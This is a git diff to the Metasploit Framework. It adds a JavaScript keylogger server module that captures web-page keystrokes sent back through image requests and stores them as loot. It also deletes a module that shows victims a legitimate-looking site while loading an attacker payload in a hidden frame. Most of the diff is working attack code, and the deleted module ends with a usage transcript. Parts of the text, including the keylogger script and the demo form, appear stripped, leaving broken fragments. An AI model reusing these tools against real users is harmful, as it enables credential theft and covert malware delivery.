diff --git a/modules/auxiliary/server/capture/javascript_keylogger.rb b/modules/auxiliary/server/capture/javascript_keylogger.rb new file mode 100644 index 0000000000..9c4c28f5a6 --- /dev/null +++ b/modules/auxiliary/server/capture/javascript_keylogger.rb @@ -0,0 +1,267 @@ +# +# $Id: $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Metasploit JavaScript Keylogger', + 'Description' => %q{ + This modules runs a HTTP Server to serves as a remote keylog listener + to capture web page keystrokes. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Marcus J. Carey '], + 'Version' => '$Revision: $', + 'References' => + [ + [ 'URL', 'http://www.metasploit.com'], + ])) + register_options( + [ + OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]), + OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]), + OptBool.new('DEMO', [true, "Create a Demo Keylogger Page",false]), + OptString.new('URIPATH', [true, "Recommended value is \"\/\"","/"]), + ], self.class) + end + + # This is the Demo Form Page + def demo + html = < + +Metasploit JavaScript Keylogger Demonstration Form + + + +

+
+

Metasploit
Javascript Keylogger Demo

+
+

This form submits data to the Metasploit listener
at #{datastore['SRVHOST']}:#{datastore['SRVPORT']} for demonstration purposes.
+

+ + + +
Username:
Password:
+

+

Metasploit® is a registered trademark of Rapid7, Inc. +

+ + +EOS + return html + end + + # This is the JavaScript Key Logger Code + def keylogger + code = <" + @ascii_log = @ascii_log[0, @ascii_log.length - 4] + elsif @ascii_log[@ascii_log.length - 5,@ascii_log.length] == "" + @ascii_log = @ascii_log[0, @ascii_log.length - 5] + else + @ascii_log = @ascii_log[0, @ascii_log.length - 1] + end + end + + when 9 then @ascii_log += "" + when 13 then @ascii_log += "" + + else + @ascii_log += char.to_s.hex.chr + end + end + end + + # Creates Metasploit shield favicon + def favicon + ico = "000001000100101000000000000068050000160000002800000010000000200000000100" + ico << "080000000000000100000000000000000000000100000000000000000000C5BDB5005534" + ico << "1100FFFFFF002D1803006034060044250400673807004B290500D9D9D9004D2A05002515" + ico << "040000000000000000000000" + ico << "00" * 81 * 12 + ico << "000707000000000000000000000000000707070A00000000000000000000000707070A0A" + ico << "0A000000000000000000070707070A0A0A0A0000000000000007030707070A0A0A010A00" + ico << "000000000707030707070A0A0A09020A00000000070303070703090A0A09090A00000000" + ico << "070303070703090A0A09090A0000000007030307050309080A09090A0000000007030307" + ico << "070309040609090A0000000007030307030309090B09090A000000000703030303030909" + ico << "0909090A000000000703030303070A090909090A000000000703030307070A0A0909090A" + ico << "000000000707070707070A0A0A0A0A0A000000000007070707070A0A0A0A0A000000FE7F" + ico << "0000FC3F0000F81F0000F00F0000E0070000C0030000C0030000C0030000C0030000C003" + ico << "0000C0030000C0030000C0030000C0030000C0030000E0070000" + ico = [ico].pack("H*") + return ico + end + + # Creates a BMP image to make the requester happy + def img + bmp = '424D42000000000000003E00000028000000010000000100' + bmp << '000001000100000000000400000000000000000000000000' + bmp << '00000000000000000000FFFFFF0080000000' + bmp = [bmp].pack("H*") + return bmp + end + + # This handles reporting to the database + def cleanup + super + path = store_loot("javascript.keystrokes", "text/plain", @host, @loot) + print_status("Stored loot at #{path}") + end + + def current_time + return Time.new.utc.strftime("[%d/%b/%Y:%H:%M:%S %Z]") + end + + # Creates and prints timestamp + def request_timestamp(cli,request) + print_status("#{cli.peerhost} - #{current_time} - [HTTP GET] - #{request.uri}") + end + + # This handles the HTTP responses for the Web server + def on_request_uri(cli, request) + @host = cli.peerhost + + # Reply with JavaScript Source if *.js is requested + if request.uri =~ /\.js/ + content_type = "text/plain" + content = keylogger + send_response(cli, content, {'Content-Type'=> content_type}) + request_timestamp(cli,request) + + # JavaScript HTTP Image GET Request is used for sending the keystrokes over network. + elsif request.uri =~ /\.bmp/ + content = img + content_type = "image/bmp" + send_response(cli, content, {'Content-Type'=> content_type}) + log = request.uri.split("\.bmp&")[1] + hex_to_s(log) + @loot << "#{cli.peerhost} - #{current_time} - " + @ascii_log + "\r\n" + if log.length > 1 + print_good("#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}") + end + + # Reply with Metasploit Shield Favicon + elsif request.uri =~ /favicon\.ico/ + content = favicon + content_type = "image/icon" + send_response(cli, content, {'Content-Type'=> content_type}) + request_timestamp(cli,request) + + # Reply with Demo Page + elsif request.uri =~ /metasploit/ and datastore['DEMO'] + content = demo + content_type = "text/html" + send_response(cli, content, {'Content-Type'=> content_type}) + request_timestamp(cli,request) + else + # Reply with 404 - Content Not Found + content = "Error 404 (Not Found)!" + send_response(cli, "#{content}

#{content}

", {'Content-Type' => 'text/html'}) + end + end + + def use_ssl? + if datastore['SSL'] + @http_mode = "https://" + else + @http_mode = "http://" + end + end + + def start_log + @loot = "" + logo = %Q{ + # cowsay++ + _________________________________ + < metasploit javascript keylogger > + --------------------------------- + \\ ,__, + \\ (oo)____ + (__) )\\ + ||--|| * + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Started at #{current_time} + ===================================== + + } + logo = logo.gsub("\t\t\t","") + + @loot << logo + + end + # This is the module's main runtime method + def run + start_log + use_ssl? + @ascii_log = "" + @random_text = Rex::Text.rand_text_alpha(12) + script_source = "#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js" + + # Prints Demo Page + if datastore['DEMO'] + print_status("Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr") + end + + # Prints HTML Embed Code + print_status(" Keylogger Code => %blu%clr") + + # Starts Web Server + exploit + end +end diff --git a/modules/auxiliary/server/html_frame_payload.rb b/modules/auxiliary/server/html_frame_payload.rb deleted file mode 100644 index 55bdb25d47..0000000000 --- a/modules/auxiliary/server/html_frame_payload.rb +++ /dev/null @@ -1,126 +0,0 @@ -# -# $Id: $ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'HTML Frame Payload', - 'Description' => %q{ - This auxiliary module serves a payload via HTML frame. - It serves a full browser frame to appear to be at a - legit website and loads the payload in an unseen frame. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Marcus J. Carey '], - 'Version' => '$Revision: $', - 'References' => - [ - [ 'URL', 'http://www.metasploit.com'], - ])) - register_options( - [ - OptString.new('DISPLAY_URL', [false, "www.foo.tld - Webpage to display to victim."]), - OptString.new('PAYLOAD_URL', [true, "foo.tld/exploit.jar - URL of payload."]), - OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]), - OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]), - OptString.new('URIPATH', [false, "The URI to use for this module (default is \"/\")", "/"]), - OptString.new('RHOST', [false, "DISPLAY_URL provides RHOST"]), - OptString.new('RPORT', [false, "DISPLAY_URL Server Port", 80]), - ], self.class) - end - - def get_title - if datastore['DISPLAY_URL'] =~ /\// - url = datastore['DISPLAY_URL'] - datastore['RHOST'] = url[0,url.index("/")] - uri_path = url[url.index("/"),url.length - url.index("/")] - else - datastore['RHOST'] = datastore['DISPLAY_URL'] - uri_path = "\/" - end - - page = send_request_raw({ - 'version' => '1.0', - 'uri' => "#{uri_path}", - 'method' => 'GET'}, 3) - - if page - page = page.to_s - title = page[page.index("") + 7, page.index("") - page.index("") - 7] - end - - return title - end - - def on_request_uri(cli, request) - - if request.uri =~ /=/ - datastore['DISPLAY_URL'] = request.uri.split("=")[1] - end - - unless request.uri =~ /favicon/ - print_good("Displaying #{datastore['DISPLAY_URL']} to #{cli.peerhost}") - end - - content = %Q{<html> - <head><title>#{get_title} - - - - - } - - content = content.gsub("\t\t\t","") - send_response(cli, content, {'Content-Type'=>'text/html'}) - end - - def run - exploit - end -end - -=begin - -msf > use auxiliary/server/html_frame_payload -msf auxiliary(html_frame_payload) > show options - -Module options (auxiliary/server/html_frame_payload): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - DISPLAY_URL no www.foo.tld - Webpage to display to victim. - PAYLOAD_URL yes foo.tld/exploit.jar - URL of payload. - Proxies no Use a proxy chain - RHOST no DISPLAY_URL provides RHOST - RPORT 80 no DISPLAY_URL Server Port - SRVHOST 192.168.171.153 yes Local HTTP Server IP Address - SRVPORT 80 yes Local HTTP Server Port - SSLCert no Path to a custom SSL certificate (default is randomly generated) - URIPATH / no The URI to use for this module (default is "/") - VHOST no HTTP server virtual host - -msf auxiliary(html_frame_payload) > set display_url www.metasploit.com/download/ -display_url => www.metasploit.com/download/ -msf auxiliary(html_frame_payload) > set payload_url downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe -payload_url => downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe -msf auxiliary(html_frame_payload) > run - -[*] Using URL: http://192.168.171.153:80/ -[*] Server started. -[+] Displaying www.metasploit.com/download/ to 192.168.171.153 - -=end